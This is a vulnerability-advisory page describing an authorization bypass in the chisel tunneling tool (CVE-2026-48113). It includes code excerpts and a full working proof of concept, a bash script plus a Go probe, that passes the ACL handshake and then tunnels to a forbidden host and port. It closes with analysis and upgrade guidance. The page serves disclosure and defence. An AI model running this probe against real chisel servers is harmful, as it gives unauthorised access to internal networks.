Skip to main content

jpillora/chisel EUVDEUVD-2026-52444

| CVE-2026-48113 HIGH
Incorrect Authorization (CWE-863)
2026-06-12 https://github.com/jpillora/chisel GHSA-24fp-5v3p-rvpw
8.5
CVSS 4.0 · Vendor: https://github.com/jpillora/chisel
Share

Severity by source

Vendor (https://github.com/jpillora/chisel) PRIMARY
8.5 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.6 CRITICAL

Requires low-privilege credentials (PR:L); scope changes to downstream systems (S:C); high C/I impact on reachable internal services; no availability impact on chisel itself.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N
SUSE
HIGH
qualitative

Primary rating from Vendor (https://github.com/jpillora/chisel).

CVSS VectorVendor: https://github.com/jpillora/chisel

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

5
Analysis Updated
Aug 03, 2026 - 21:32 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Aug 03, 2026 - 21:22 vuln.today
cvss_changed
CVSS changed
Aug 03, 2026 - 21:22 NVD
8.5 (HIGH)
Source Code Evidence Fetched
Jun 12, 2026 - 15:50 vuln.today
Analysis Generated
Jun 12, 2026 - 15:50 vuln.today

DescriptionCVE.org

Summary

Authenticated chisel clients can bypass --authfile ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client authenticates with a permitted remote, then opens channels to any host:port it wants.

Details

The chisel server validates user ACLs in two places but is missing validation in one of the important places.

The server/server_handler.go checks the ACL, during the initial config handshake:

go
for _, r := range c.Remotes {
    if user != nil {
        addr := r.UserAddr()
        if !user.HasAccess(addr) {
            failed(s.Errorf("access to '%s' denied", addr))
            return
        }
    }
}
r.Reply(true, nil)

This validates the declared remote list from the client's config request. It runs once, at connection setup. But in share/tunnel/tunnel_out_ssh.go ACL aren't being checked, when the server processes actual traffic channels:

go
func (t *Tunnel) handleSSHChannel(ch ssh.NewChannel) {
    remote := string(ch.ExtraData())        // client-controlled
    hostPort, proto := settings.L4Proto(remote)
    sshChan, reqs, err := ch.Accept()       // accepted unconditionally
    // ...
    err = t.handleTCP(l, stream, hostPort)  // dials whatever client said
}

func (t *Tunnel) handleTCP(l *cio.Logger, src io.ReadWriteCloser, hostPort string) error {
    dst, err := net.Dial("tcp", hostPort)   // no ACL check
    // ...
}

The tunnel.Config struct has no User field, no allowed-address list, and no ACL callback. The user context from server_handler.go is never propagated to the tunnel layer:

go
type Config struct {
    *cio.Logger
    Inbound   bool
    Outbound  bool
    Socks     bool
    KeepAlive time.Duration
    // ------- No User, no AllowedRemotes, no ACL
}

Since ch.ExtraData() is fully controlled by the SSH client, any authenticated user can open channels to arbitrary destinations after passing the handshake with a permitted remote.

PoC

Directory structure format:

poc
├── poc.sh
└── probe
    ├── go.mod
    ├── go.sum
    └── main.go
  • poc.sh
bash
#!/usr/bin/env bash
# Requires: Go, nc (netcat)

set -euo pipefail
DIR="$(cd "$(dirname "$0")" && pwd)"
REPO="$DIR/.."

freeport() { python3 -c "import socket;s=socket.socket();s.bind(('',0));print(s.getsockname()[1]);s.close()"; }
cleanup() { kill $SERVER $LISTENER 2>/dev/null; rm -f "$AUTH"; }
trap cleanup EXIT
# Build
echo "[*] Building..."
(cd "$REPO"       && go build -o /tmp/_chisel .)
(cd "$DIR/probe"  && go build -o /tmp/_probe  .)
# Ports
SP=$(freeport); AP=$(freeport); BP=$(freeport)
echo "[*] Server :$SP  Allowed :$AP  Blocked :$BP"
# Authfile - user:pass may only reach 127.0.0.1:$AP
AUTH=$(mktemp)
printf '{"user:pass":["^127\\\\.0\\\\.0\\\\.1:%s$"]}\n' "$AP" > "$AUTH"
# Start forbidden-target listener and chisel server
(echo "FORBIDDEN_TARGET_REACHED" | nc -l 127.0.0.1 "$BP") & LISTENER=$!
/tmp/_chisel server --port "$SP" --authfile "$AUTH" --key seed 2>/dev/null & SERVER=$!
sleep 1
# Exploit
CHISEL_SERVER="127.0.0.1:$SP" ALLOWED_PORT="$AP" BLOCKED_PORT="$BP" /tmp/_probe
  • main.go
go
// Chisel ACL bypass probe. Authenticates with an allowed remote,
// then opens an SSH channel to a forbidden destination via ExtraData.
package main

import (
	"encoding/json"
	"fmt"
	"net"
	"net/http"
	"os"
	"time"

	"github.com/gorilla/websocket"
	"github.com/jpillora/chisel/share/cnet"
	"github.com/jpillora/chisel/share/settings"
	"golang.org/x/crypto/ssh"
)

func main() {
	server := os.Getenv("CHISEL_SERVER")
	allowed := os.Getenv("ALLOWED_PORT")
	blocked := os.Getenv("BLOCKED_PORT")

	// WebSocket → net.Conn
	ws, _, err := (&websocket.Dialer{
		HandshakeTimeout: 5 * time.Second,
		Subprotocols:     []string{"chisel-v3"},
	}).Dial("ws://"+server, http.Header{})
	check(err, "ws dial")
	conn := cnet.NewWebSocketConn(ws)

	// SSH handshake
	sc, chans, reqs, err := ssh.NewClientConn(conn, "", &ssh.ClientConfig{
		User:            "user",
		Auth:            []ssh.AuthMethod{ssh.Password("pass")},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
	})
	check(err, "ssh")
	go ssh.DiscardRequests(reqs)
	go func() { for c := range chans { c.Reject(ssh.Prohibited, "") } }()

	// Send config with only the allowed remote
	r, _ := settings.DecodeRemote(fmt.Sprintf("0.0.0.0:%s:127.0.0.1:%s", allowed, allowed))
	cfg, _ := json.Marshal(settings.Config{Version: "0", Remotes: []*settings.Remote{r}})
	ok, reply, err := sc.SendRequest("config", true, cfg)
	check(err, "config")
	if !ok {
		die("config rejected: %s", reply)
	}
	fmt.Printf("[+] Config accepted (only 127.0.0.1:%s allowed)\n", allowed)

	// Open channel to BLOCKED destination
	target := net.JoinHostPort("127.0.0.1", blocked)
	ch, cr, err := sc.OpenChannel("chisel", []byte(target))
	if err != nil {
		fmt.Printf("[-] REJECTED - server refused %s\n", target)
		os.Exit(1)
	}
	go ssh.DiscardRequests(cr)
	fmt.Printf("[!] ACCEPTED - channel opened to %s\n", target)

	// Read response from forbidden target
	buf := make([]byte, 256)
	done := make(chan int, 1)
	go func() { n, _ := ch.Read(buf); done <- n }()
	select {
	case n := <-done:
		if n > 0 {
			fmt.Printf("[!] Data: %s\n", buf[:n])
		}
	case <-time.After(3 * time.Second):
	}
	fmt.Println("CONFIRMED - ACL bypass: server dialed unauthorized destination")
	ch.Close()
	sc.Close()
}

func check(err error, ctx string) {
	if err != nil {
		die("%s: %v", ctx, err)
	}
}
func die(f string, a ...interface{}) {
	fmt.Fprintf(os.Stderr, f+"\n", a...)
	os.Exit(1)
}

Impact

  • Complete ACL bypass: The --authfile address restrictions are enforceable only on paper
  • Authenticated users can reach any host/port the server process can dial

AnalysisAI

ACL bypass in chisel (all versions ≤ 1.11.4) allows authenticated users to tunnel traffic to arbitrary destinations reachable from the server, completely circumventing --authfile address restrictions. The server enforces per-user allowlists only once during the initial SSH config handshake in server_handler.go, but never propagates the user context or ACL callback to the tunnel layer; subsequent SSH channels carrying actual traffic are accepted unconditionally regardless of their ExtraData destination. A full proof-of-concept exploit is published in GHSA-24fp-5v3p-rvpw, and a patch is available in version 1.11.5. No CISA KEV listing; EPSS is low at 0.02%, suggesting targeted rather than widespread opportunistic exploitation at time of analysis.

Technical ContextAI

Chisel (pkg:go/github.com_jpillora_chisel) is a Go-based TCP/UDP tunneling tool that multiplexes SSH sessions over WebSocket (the chisel-v3 subprotocol). CWE-863 (Incorrect Authorization) is the root cause: the tunnel.Config struct in share/tunnel/tunnel.go had no User field, no AllowedRemotes list, and no ACL callback - the user context from server/server_handler.go was never threaded into the tunnel layer. When a client opens a new SSH channel post-handshake, tunnel_out_ssh.go reads the destination from ch.ExtraData(), which is entirely client-controlled, and calls net.Dial('tcp', hostPort) without any authorization check. The fix in commit 44310b65667a97901874ffdf4815b3732c22eaa3 adds an ACL func(addr string) bool field to tunnel.Config and enforces it in handleSSHChannel() before accepting each channel.

RemediationAI

Upgrade jpillora/chisel to version 1.11.5 or later, which introduces an ACL func(addr string) bool callback in the tunnel.Config struct and enforces it on every SSH channel in tunnel_out_ssh.go, not just the initial config handshake. The upstream fix is at commit 44310b65667a97901874ffdf4815b3732c22eaa3 and the advisory is at https://github.com/jpillora/chisel/security/advisories/GHSA-24fp-5v3p-rvpw. If immediate upgrade is not feasible, the most effective compensating control is to restrict what the chisel server process can reach at the network layer - deploy the chisel server in a network segment where it can only dial permitted destinations, effectively enforcing the intended ACL at the OS or firewall level rather than the application layer. Trade-off: this is a coarse control that applies to all users equally and cannot replicate per-user granularity. Alternatively, remove all non-essential user accounts from --authfile, as only users with valid credentials can exploit the bypass - reducing the attack surface to the minimum set of trusted principals. Do not rely on --authfile ACLs alone for security isolation on versions ≤ 1.11.4.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

EUVD-2026-52444 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy